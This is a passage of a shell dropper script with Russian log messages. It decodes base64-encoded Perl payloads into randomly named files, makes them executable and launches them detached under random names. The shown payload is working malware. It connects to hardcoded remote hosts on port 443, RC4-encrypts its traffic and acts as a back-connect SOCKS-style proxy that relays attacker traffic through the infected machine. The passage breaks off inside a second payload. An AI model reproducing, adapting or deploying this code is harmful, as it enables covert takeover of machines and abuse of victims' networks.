ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 2 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z 